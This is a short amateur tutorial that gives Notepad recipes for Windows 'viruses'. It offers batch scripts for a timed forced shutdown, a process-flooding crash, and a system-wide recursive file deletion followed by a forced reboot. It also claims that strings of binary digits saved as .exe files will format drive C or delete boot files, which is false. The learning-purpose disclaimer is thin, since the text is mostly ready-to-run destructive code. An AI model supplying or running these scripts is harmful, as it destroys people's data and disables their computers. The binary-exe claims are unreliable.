Shutdown Virus

--->Shutdown virus<---

1. open notepad

2. write:  

@echo off

cd/

shutdown -s -t 600 -c "comment"

to turn off the virus go to run or CMD and write "shutdown -a"

3. Save as "virus.bat"

Explanations: 

cd/---to start on startup

600---time in seconds

--->Crash Virus<---

1. Open notepad

2. Write many times: start firefox.exe

@echo off

start firefox.exe

3. Save as virus1.bat

firefox.exe ---firefox

mspaint.exe ---paint

notepad.exe ---notepad

avgui.exe ---AVG 

chess.exe ---chess

--->Format C<---

1. Open notepad

2. Write:

01001011000111110010010101010101010000011111100000

3. Save as format.exe

--->Delete Boot<---

1. Open notepad

2. Write:

01100100011001010110110000100000001011110100011000 101111010100110010111101010001

00100000011000110011101001011100011000100110111101 101111011101000010111001101001

0110111001101001

3. Save as boot.exe

--->Delete System<---

1. Open notepad

2. Write:

@echo off

del %systemdrive%\*.*/f/s/q

shutdown -r -f -t 00

3. Save as virus2.bat

THESE VIRUSES ARE FOR LEARNING PURPOSES (to find how valuable is your PC) and how to protect it if you really have virus like this. IM NOT RESPONSIBLE FOR YOUR ACTIONS